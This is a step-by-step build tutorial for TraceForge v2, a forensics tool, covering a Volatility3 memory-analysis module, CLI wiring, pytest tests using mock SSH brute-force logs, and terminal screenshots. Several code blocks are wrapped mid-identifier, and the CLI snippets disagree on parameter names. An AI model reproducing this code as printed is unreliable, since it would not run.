Key principle: Import Volatility3 framework contexts directly. Do not use subprocess to call `vol.py`. Subprocess calls break the chain of custody (you cannot hash the subprocess output), make error handling nearly impossible, and are 10x slower.

```
nano ~/traceforge/traceforge/modules/memory.py
```

```
"""
TraceForge v2 — Memory Forensics Module
Uses Volatility3 Python API directly — no subprocess calls.
Runs PsList, NetStat, CmdLine, and DllList plugins programmatically.
"""
```

```

from pathlib import Path
from datetime import datetime, timezone
from typing import Optional
from loguru import logger

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Volatility3 imports
try:
    import volatility3
    from volatility3 import framework
    from volatility3.framework import contexts, automagic,
    interfaces
    from volatility3.framework.configuration import require
    ments
    from volatility3.plugins.windows import pslist, netsta
    t, cmdline, dlllist
    from volatility3.plugins.linux import pslist as linux_p
    slist
    VOL3_AVAILABLE = True
    logger.info(f"Volatility3 {volatility3.__version__} ava
    ilable")
except ImportError as e:
    VOL3_AVAILABLE = False
    logger.warning(f"Volatility3 not fully available: {e}")

def _build_context(image_path: str):
    """Build a Volatility3 context for the given memory ima
    ge."""
    ctx = contexts.Context()
    ctx.config["automagic.LayerStacker.single_location"] =
    f"file://{image_path}"
    return ctx

```

```

def _run_pslist(ctx, case_id: str, host_id: str) -> list[Artifact]:
    """Run PsList plugin and return process artifacts."""
    artifacts = []
    try:
        automagics = automagic.choose_automagic(
            automagic.available(ctx), pslist.PsList
        )
        plugin = automagic.run(automagics, pslist.PsList, ctx, "plugins")

        for proc in plugin.run():
            try:
                pid = int(proc.UniqueProcessId)
                ppid = int(proc.InheritedFromUniqueProcessId)

                name = proc.ImageFileName.cast(
                    "string",
                    max_length=proc.ImageFileName.vol.count,
                    errors="replace"
                )
                create_time = ""
                try:
                    create_time = proc.CreateTime.strftime(
                        "%Y-%m-%dT%H:%M:%SZ")
                except Exception:
                    pass

                artifacts.append(Artifact(
                    case_id=case_id,
                    source_module="memory",
                    artifact_type="process",
                    host_id=host_id,
                    timestamp=create_time,
                    data={
                        "pid": pid,
                        "ppid": ppid,

```

```

        "name": str(name),
        "create_time": create_time,
        "plugin": "PsList"
    }
    ))
    except Exception as e:
        logger.debug(f"Skipping process entry:
{e}")

        continue

    except Exception as e:
        logger.error(f"PsList failed: {e}")

    return artifacts

def _run_netstat(ctx, case_id: str, host_id: str) -> list[Ar
tifact]:
    """Run NetStat plugin and return network connection art
ifacts."""
    artifacts = []
    try:
        automagics = automagic.choose_automagic(
            automagic.available(ctx), netstat.NetStat
        )
        plugin = automagic.run(automagics, netstat.NetStat,
ctx, "plugins")

        for conn in plugin.run():
            try:
                artifacts.append(Artifact(
                    case_id=case_id,
                    source_module="memory",
                    artifact_type="network_connection",
                    host_id=host_id,
                    timestamp="",
                    data={
                        "pid": int(conn.PID),

```

```

        "protocol": str(conn.Proto),
        "local_addr": str(conn.LocalAddr),
        "local_port": int(conn.LocalPort),
        "remote_addr": str(conn.ForeignAdd
r),
        "remote_port": int(conn.ForeignPor
t),
        "state": str(conn.State),
        "plugin": "NetStat"
    }
    ))
    except Exception as e:
        logger.debug(f"Skipping connection entry:
{e}")
        continue

    except Exception as e:
        logger.error(f"NetStat failed: {e}")

    return artifacts

def _run_cmdline(ctx, case_id: str, host_id: str) -> list[A
rtifact]:
    """Run CmdLine plugin and return command line artifact
s."""
    artifacts = []
    try:
        automagics = automagic.choose_automagic(
            automagic.available(ctx), cmdline.CmdLine
        )
        plugin = automagic.run(automagics, cmdline.CmdLine,
ctx, "plugins")

        for proc in plugin.run():
            try:
                pid = int(proc.PID)
                name = str(proc.ImageFileName)

```



```

        args = str(proc.Args) if proc.Args else ""

        artifacts.append(Artifact(
            case_id=case_id,
            source_module="memory",
            artifact_type="cmdline",
            host_id=host_id,
            timestamp="",
            data={
                "pid": pid,
                "name": name,
                "commandline": args,
                "plugin": "CmdLine"
            }
        ))
    except Exception as e:
        logger.debug(f"Skipping cmdline entry:
{e}")

        continue

except Exception as e:
    logger.error(f"CmdLine failed: {e}")

return artifacts

def analyze(
    case_id: str,
    image_path: str,
    analyst: str,
    host_id: Optional[str] = None,
    plugins: Optional[list[str]] = None
) -> list[Artifact]:
    """
    Analyze a memory image using Volatility3 and return Art
ifact objects.

    Args:

```

```

        case_id      : The investigation case ID
        image_path    : Path to memory image (.raw, .mem, .lime, .vmem)

        analyst      : Analyst name or ID
        host_id      : Optional host identifier
        plugins       : List of plugins to run. Defaults to
["pslist", "netstat", "cmdline"]

Returns:
    List of Artifact objects
    """
    init_db()
    path = Path(image_path)

    if not path.exists():
        raise FileNotFoundError(f"Memory image not found: {image_path}")

    if not VOL3_AVAILABLE:
        raise RuntimeError(
            "Volatility3 is not fully available. "
            "Run: pip install volatility3"
        )

    # Hash before analysis – chain of custody
    sha256, size = compute_sha256(path)
    log_evidence(case_id, analyst, str(path), sha256, size,
"memory")

    host = host_id or path.stem
    active_plugins = plugins or ["pslist", "netstat", "cmdline"]

    logger.info(
        f"Memory analysis: {path.name} | "
        f"Case: {case_id} | Plugins: {active_plugins}"
    )

```

```


ctx = _build_context(str(path.resolve()))
artifacts = []

plugin_map = {
    "pslist": _run_pslist,
    "netstat": _run_netstat,
    "cmdline": _run_cmdline,
}

for plugin_name in active_plugins:
    if plugin_name in plugin_map:
        logger.info(f"Running plugin: {plugin_name}")
        results = plugin_map[plugin_name](ctx, case_id,
host)
        artifacts.extend(results)
        logger.info(f"{plugin_name}: {len(results)} artifacts")
    else:
        logger.warning(f"Unknown plugin: {plugin_name}
- skipping")

    logger.info(f"Memory analysis complete: {len(artifacts)} total artifacts")
    return artifacts

```



```
theconsoler@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsoler/traceforge/traceforge/modules/memory.py
TraceForge v2 - Memory Forensics Module
Uses Volatility3 Python API directly - no subprocess calls.
Runs PsList, NetStat, CmdLine, and DllList plugins programmatically.

from pathlib import Path
from datetime import datetime, timezone
from typing import Optional
from loguru import logger

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Volatility3 imports
try:
    import volatility3
    from volatility3 import framework
    from volatility3.framework import contexts, automagic, interfaces
    from volatility3.framework.configuration import requirements
    from volatility3.plugins.windows import pslist, netstat, cmdline, dlllist
    from volatility3.plugins.linux import pslist as linux_pslist
    VOL3_AVAILABLE = True
    logger.info(f"Volatility3 {volatility3.__version__} available")
except ImportError as e:
    VOL3_AVAILABLE = False
    logger.warning(f"Volatility3 not fully available: {e}")

def _build_context(image_path: str):
```

Step 2.9 — Wire memory module into the CLI

In `traceforge/cli.py`, replace the memory stub:

Find:

```
def memory(case_id, image):
    """Run memory forensics on a memory dump. (Phase 2)"""
    console.print(f"[yellow]Memory module – coming in Phase 2[/yellow]")
```

Replace with:

```
@cli.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--image", required=True, help="Path to memory image")
@click.option("--analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Host identifier")
@click.option("--plugins", default="pslist,netstat,cmdlin
```

```

e",
        help="Comma-separated list of plugins to run")
def memory(case_id, image, analyst, host_id, plugins):
    """Run memory forensics on a memory dump."""
    from traceforge.modules.memory import analyze
    plugin_list = [p.strip() for p in plugins.split(",")]
    console.print(f"\n[bold cyan]Memory Forensics Analysis[/bold cyan]")
    console.print(f"  Case      : {case_id}")
    console.print(f"  Image     : {image}")
    console.print(f"  Plugins  : {plugin_list}\n")
    try:
        artifacts = analyze(case_id, image, analyst, host_id, plugin_list)
        console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
        for a in artifacts[:30]:
            console.print(f"  [cyan]{a.artifact_type:<25}[/cyan] {a.summary()}")
        if len(artifacts) > 30:
            console.print(f"  [dim]... and {len(artifacts) - 30} more[/dim]")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

```

```

theconsole@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsole/traceforge/traceforge/cli.py
except ValueError as e:
    console.print(f"[bold red]Error:[/bold red] {e}")
    sys.exit(1)

# — ANALYSIS MODULE STUBS —

@cli.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--image", "image", required=True, help="Path to memory image")
@click.option("--analyst", "analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Host identifier")
@click.option("--plugins", "plugins", default="pslist,netstat,cmdline", help="Comma-separated list of plugins to run")
def memory(case_id, image, analyst, host_id, plugin_list):
    """Run memory forensics on a memory dump."""
    from traceforge.modules.memory import analyze
    plugin_list = [p.strip() for p in plugin_list.split(",")]
    console.print(f"[bold cyan]\nMemory Forensics Analysis[/bold cyan]")
    console.print(f"Case : {case_id}")
    console.print(f"Image : {image}")
    console.print(f"Plugins : {plugin_list}\n")
    try:
        artifacts = analyze(case_id, image, analyst, host_id, plugin_list)
        console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
        for a in artifacts[:30]:
            console.print(f" [cyan]{a.artifact_type:<25}[/cyan] {a.summary()}")
        if len(artifacts) > 30:
            console.print(f" [dim]... and {len(artifacts) - 30} more[/dim]")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

```

Step 2.10 — Write Phase 2 tests

```
nano ~/traceforge/tests/test_phase2.py
```

```

"""
TraceForge v2 – Phase 2 Tests
Tests for all four analysis modules.
Run with: pytest tests/test_phase2.py -v
"""

import pytest
import os
import tempfile
from pathlib import Path
from traceforge.core.ledger import init_db, create_case
from traceforge.core.artifact import Artifact

def setup_test_case(case_id: str):
    """Helper to create a test case, ignoring duplicate errors."""

```

```

init_db()
try:
    create_case(case_id, f"Test case {case_id}", "test_
analyst")
except ValueError:
    pass

# — LOGS MODULE TESTS —————

def test_logs_analyze_returns_artifacts():
    """Logs module returns artifacts from a valid log fil
e."""
    from traceforge.modules.logs import analyze
    setup_test_case("TEST-LOGS-001")

    log_content = """May  3 10:01:22 server sshd[1234]: Fai
led password for root from 192.168.1.100 port 22 ssh2
May  3 10:01:25 server sshd[1234]: Failed password for root
from 192.168.1.100 port 22 ssh2
May  3 10:01:31 server sshd[1234]: Accepted password for ad
min from 192.168.1.50 port 22 ssh2
May  3 10:02:10 server sudo: admin : TTY=pts/0 ; PWD=/home/
admin ; USER=root ; COMMAND=/bin/bash
"""

    with tempfile.NamedTemporaryFile(mode="w", suffix=".lo
g", delete=False) as f:
        f.write(log_content)
        tmp_path = f.name

    try:
        artifacts = analyze("TEST-LOGS-001", tmp_path, "tes
t_analyst")
        assert isinstance(artifacts, list)
        assert len(artifacts) > 0
        assert all(isinstance(a, Artifact) for a in artifac
ts)

```

```

    finally:
        os.unlink(tmp_path)

def test_logs_detects_failed_login():
    """Logs module correctly identifies failed login artifacts."""
    from traceforge.modules.logs import analyze
    setup_test_case("TEST-LOGS-002")

    log_content = "May  3 10:01:22 server sshd[1234]: Failed password for root from 10.0.0.5 port 22 ssh2\n"

    with tempfile.NamedTemporaryFile(mode="w", suffix=".log", delete=False) as f:
        f.write(log_content)
        tmp_path = f.name

    try:
        artifacts = analyze("TEST-LOGS-002", tmp_path, "test_analyst")
        failed = [a for a in artifacts if a.artifact_type == "failed_login"]
        assert len(failed) > 0
        assert failed[0].data["src_ip"] == "10.0.0.5"
    finally:
        os.unlink(tmp_path)

def test_logs_detects_brute_force():
    """Logs module detects brute force when threshold is exceeded."""
    from traceforge.modules.logs import analyze, BRUTE_FORCE_THRESHOLD
    setup_test_case("TEST-LOGS-003")

    lines = "\n".join([
        f"May  3 10:0{i}:00 server sshd[1234]: Failed password for root from 10.0.0.5 port 22 ssh2\n"

```



```

ord for root from 10.0.0.99 port 22 ssh2"
    for i in range(BRUTE_FORCE_THRESHOLD + 1)
    ])

    with tempfile.NamedTemporaryFile(mode="w", suffix=".log", delete=False) as f:
        f.write(lines)
        tmp_path = f.name

    try:
        artifacts = analyze("TEST-LOGS-003", tmp_path, "test_analyst")
        brute = [a for a in artifacts if a.data.get("type") == "brute_force_detected"]
        assert len(brute) > 0
    finally:
        os.unlink(tmp_path)

def test_logs_file_not_found():
    """Logs module raises FileNotFoundError for missing file."""
    from traceforge.modules.logs import analyze
    setup_test_case("TEST-LOGS-ERR")
    with pytest.raises(FileNotFoundError):
        analyze("TEST-LOGS-ERR", "/nonexistent/auth.log", "test_analyst")

# — NETWORK MODULE TESTS —————

```

```

def test_network_analyze_returns_artifacts():
    """Network module returns artifacts from a valid PCAP."""
    from traceforge.modules.network import analyze
    from scapy.all import wrpcap, IP, TCP, UDP, DNS, DNSQR

```

```

setup_test_case("TEST-NET-001")

packets = [
    IP(src="192.168.1.10", dst="8.8.8.8") / UDP() / DNS
(
    rd=1, qd=DNSQR(qname="example.com")
),
    IP(src="192.168.1.10", dst="1.2.3.4") / TCP(dport=8
0) / b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
]

with tempfile.NamedTemporaryFile(suffix=".pcap", delete
=False) as f:
    tmp_path = f.name

    try:
        wrpcap(tmp_path, packets)
        artifacts = analyze("TEST-NET-001", tmp_path, "test
_analyst")
        assert isinstance(artifacts, list)
        assert len(artifacts) > 0
    finally:
        os.unlink(tmp_path)

def test_network_file_not_found():
    """Network module raises FileNotFoundError for missing
PCAP."""
    from traceforge.modules.network import analyze
    setup_test_case("TEST-NET-ERR")
    with pytest.raises(FileNotFoundError):
        analyze("TEST-NET-ERR", "/nonexistent/capture.pca
p", "test_analyst")

# — DISK MODULE TESTS —

```

```

def test_disk_analyze_directory():
    """Disk module analyzes a directory in fallback mode."""
    from traceforge.modules.disk import analyze
    setup_test_case("TEST-DISK-001")

    with tempfile.TemporaryDirectory() as tmpdir:
        (Path(tmpdir) / "testfile.txt").write_text("test content")
        (Path(tmpdir) / "subdir").mkdir()
        (Path(tmpdir) / "subdir" / "nested.log").write_text("nested")

        artifacts = analyze("TEST-DISK-001", tmpdir, "test_analyst")
        assert isinstance(artifacts, list)
        assert len(artifacts) > 0

def test_disk_path_not_found():
    """Disk module raises FileNotFoundError for missing path."""
    from traceforge.modules.disk import analyze
    setup_test_case("TEST-DISK-ERR")
    with pytest.raises(FileNotFoundError):
        analyze("TEST-DISK-ERR", "/nonexistent/disk.dd", "test_analyst")

# — ARTIFACT INTEGRITY TESTS —

```

```

def test_all_artifacts_have_required_fields():
    """Every artifact from every module has the required fields set."""
    from traceforge.modules.logs import analyze as logs_analyze
    setup_test_case("TEST-INTEGRITY-001")

```

```

log_content = "May 3 10:01:22 server sshd[1234]: Failed password for root from 10.0.0.5 port 22 ssh2\n"
with tempfile.NamedTemporaryFile(mode="w", suffix=".log", delete=False) as f:
    f.write(log_content)
    tmp_path = f.name

try:
    artifacts = logs_analyze("TEST-INTEGRITY-001", tmp_path, "test_analyst")
    for a in artifacts:
        assert a.case_id == "TEST-INTEGRITY-001"
        assert a.source_module in Artifact.VALID_MODULE

        assert isinstance(a.data, dict)
        assert a.host_id is not None
finally:
    os.unlink(tmp_path)

```

```

theconsole@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsole/traceforge/tests/test_phase2.py
TraceForge v2 - Phase 2 Tests
Tests for all four analysis modules.
Run with: pytest tests/test_phase2.py -v

import pytest
import os
import tempfile
from pathlib import Path
from traceforge.core.ledger import init_db, create_case
from traceforge.core.artifact import Artifact

def setup_test_case(case_id: str):
    """Helper to create a test case, ignoring duplicate errors."""
    init_db()
    try:
        create_case(case_id, f"Test case {case_id}", "test_analyst")
    except ValueError:
        pass

# -- LOGS MODULE TESTS --

def test_logs_analyze_returns_artifacts():
    """Logs module returns artifacts from a valid log file."""
    from traceforge.modules.logs import analyze
    setup_test_case("TEST-LOGS-001")

    log_content = """May 3 10:01:22 server sshd[1234]: Failed password for root from 192.168.1.100 port 22 ssh2

```

Step 2.11 — Run all tests


```
cd ~/traceforge
source venv/bin/activate
python -m pytest tests/ -v
```

Expected output:

```
tests/test_phase1.py::test_init_db PASSED
tests/test_phase1.py::test_create_case PASSED
... (all 13 Phase 1 tests)

tests/test_phase2.py::test_logs_analyze_returns_artifacts PASSED
tests/test_phase2.py::test_logs_detects_failed_login PASSED
tests/test_phase2.py::test_logs_detects_brute_force PASSED
tests/test_phase2.py::test_logs_file_not_found PASSED
tests/test_phase2.py::test_network_analyze_returns_artifacts PASSED
tests/test_phase2.py::test_network_file_not_found PASSED
tests/test_phase2.py::test_disk_analyze_directory PASSED
tests/test_phase2.py::test_disk_path_not_found PASSED
tests/test_phase2.py::test_all_artifacts_have_required_fields PASSED

22 passed in X.XXs
```



```
Activities Terminal May 3 19:42
theconsoler@ubuntu: ~/traceforge

FAILED tests/test_phase1.py::test_create_case - ValueError: Case 'TEST-001' already exists.
===== 1 failed, 21 passed in 0.58s =====
(venv) theconsoler@ubuntu:~/traceforge$ nano ~/traceforge/tests/test_phase1.py
(venv) theconsoler@ubuntu:~/traceforge$ python -m pytest tests/ -v
===== test session starts =====
platform linux -- Python 3.11.0rc1, pytest-9.0.3, pluggy-1.6.0 -- /home/theconsoler/traceforge/venv/bin/python
cachedir: .pytest_cache
rootdir: /home/theconsoler/traceforge
collected 22 items

tests/test_phase1.py::test_init_db PASSED [ 4%]
tests/test_phase1.py::test_create_case PASSED [ 9%]
tests/test_phase1.py::test_duplicate_case_raises PASSED [ 13%]
tests/test_phase1.py::test_get_case_not_found PASSED [ 18%]
tests/test_phase1.py::test_log_evidence PASSED [ 22%]
tests/test_phase1.py::test_sha256_consistency PASSED [ 27%]
tests/test_phase1.py::test_sha256_file_not_found PASSED [ 31%]
tests/test_phase1.py::test_verify_hash_correct PASSED [ 36%]
tests/test_phase1.py::test_verify_hash_tampered PASSED [ 40%]
tests/test_phase1.py::test_artifact_creation PASSED [ 45%]
tests/test_phase1.py::test_artifact_invalid_module PASSED [ 50%]
tests/test_phase1.py::test_artifact_serialisation PASSED [ 54%]
tests/test_phase1.py::test_artifact_summary PASSED [ 59%]
tests/test_phase2.py::test_logs_analyze_returns_artifacts PASSED [ 63%]
tests/test_phase2.py::test_logs_detects_failed_login PASSED [ 68%]
tests/test_phase2.py::test_logs_detects_brute_force PASSED [ 72%]
tests/test_phase2.py::test_logs_file_not_found PASSED [ 77%]
tests/test_phase2.py::test_network_analyze_returns_artifacts PASSED [ 81%]
tests/test_phase2.py::test_network_file_not_found PASSED [ 86%]
tests/test_phase2.py::test_disk_analyze_directory PASSED [ 90%]
tests/test_phase2.py::test_disk_path_not_found PASSED [ 95%]
tests/test_phase2.py::test_all_artifacts_have_required_fields PASSED [100%]

===== 22 passed in 0.49s =====
(venv) theconsoler@ubuntu:~/traceforge$
```

Step 2.12 — Test the CLI manually with real samples

```
cd ~/traceforge
source venv/bin/activate


# Create a test case first
python -m traceforge.cli case new --id CASE-2026-001 --name
"Phase 2 Test" --analyst theconsoler

# Test logs module
python -m traceforge.cli logs \
    --case CASE-2026-001 \
    --file samples/logs/auth.log \
    --analyst theconsoler \
    --host server-01

# Test network module
python -m traceforge.cli network \
    --case CASE-2026-001 \
    --pcap samples/network/sample.pcap \
    --analyst theconsoler \
    --host 192.168.1.10

# Test disk module
python -m traceforge.cli disk \
    --case CASE-2026-001 \
    --image samples/ \
    --analyst theconsoler \
    --host workstation-01
```

Since the First case already exists I have created a Second One.



Step 2.13 — Commit and push Phase 2

```
cd ~/traceforge
git add .
git commit -m "feat: phase 2 complete – logs, network, disk, memory analysis modules"
git push origin main
```

```
Activities Terminal May 3 19:45 theconsoler@ubuntu: ~/traceforge
'modified', 'accessed', 'created', 'is_file', 'suffix']
[DISK] file | host=workstation-01 | ts=2026-05-03T13:50:38 | data=['name', 'path', 'size_bytes', 'modified',
'accessed', 'created', 'is_file', 'suffix']
[DISK] directory | host=workstation-01 | ts=2026-05-03T14:09:04 | data=['name', 'path', 'size_bytes',
'modified', 'accessed', 'created', 'is_file', 'suffix']
[DISK] file | host=workstation-01 | ts=2026-05-03T14:09:04 | data=['name', 'path', 'size_bytes', 'modified',
'accessed', 'created', 'is_file', 'suffix']
[DISK] file | host=workstation-01 | ts=2026-05-03T14:09:04 | data=['name', 'path', 'size_bytes', 'modified',
'accessed', 'created', 'is_file', 'suffix']
[DISK] file | host=workstation-01 | ts=2026-05-03T14:09:04 | data=['name', 'path', 'size_bytes', 'modified',
'accessed', 'created', 'is_file', 'suffix']
[DISK] directory | host=workstation-01 | ts=2026-05-03T14:09:04 | data=['name', 'path', 'size_bytes',
'modified', 'accessed', 'created', 'is_file', 'suffix']
[DISK] file | host=workstation-01 | ts=2026-05-03T14:09:04 | data=['name', 'path', 'size_bytes', 'modified',
'accessed', 'created', 'is_file', 'suffix']
(venv) theconsoler@ubuntu:~/traceforge$ git add .
(venv) theconsoler@ubuntu:~/traceforge$ git commit -m "feat: phase 2 complete - logs, network, disk, memory analysis modules"
[main bbff569] feat: phase 2 complete - logs, network, disk, memory analysis modules
7 files changed, 1070 insertions(+), 34 deletions(-)
create mode 100644 tests/test_phase2.py
create mode 100644 traceforge/modules/disk.py
create mode 100644 traceforge/modules/logs.py
create mode 100644 traceforge/modules/memory.py
create mode 100644 traceforge/modules/network.py
(venv) theconsoler@ubuntu:~/traceforge$ git push origin main
Enumerating objects: 18, done.
Counting objects: 100% (18/18), done.
Delta compression using up to 2 threads
Compressing objects: 100% (12/12), done.
Writing objects: 100% (12/12), 11.06 KiB | 5.53 MiB/s, done.
Total 12 (delta 3), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (3/3), completed with 3 local objects.
To https://github.com/theconsoler/TRACEFORGE-V2.git
d4d9261..bbff569 main -> main
(venv) theconsoler@ubuntu:~/traceforge$
```

Phase 2 completion checklist

- ✓ `modules/logs.py` - created and detects failed logins and brute force
- ✓ `modules/network.py` - created and parses DNS, HTTP, TCP flows
- ✓ `modules/disk.py` - created with dfVFS and fallback support
- ✓ `modules/memory.py` - created using Volatility3 Python API
- ✓ All four modules wired into the CLI
- ✓ All 22 tests pass (13 from Phase 1 + 9 from Phase 2)
- ✓ CLI tested manually with real sample files
- ✓ Phase 2 committed and pushed to GitHub

When every box is checked: Phase 2 is complete. Move to Phase 3.

TraceForge v2 build documentation — Phase 2 of 4 Last updated: May 2026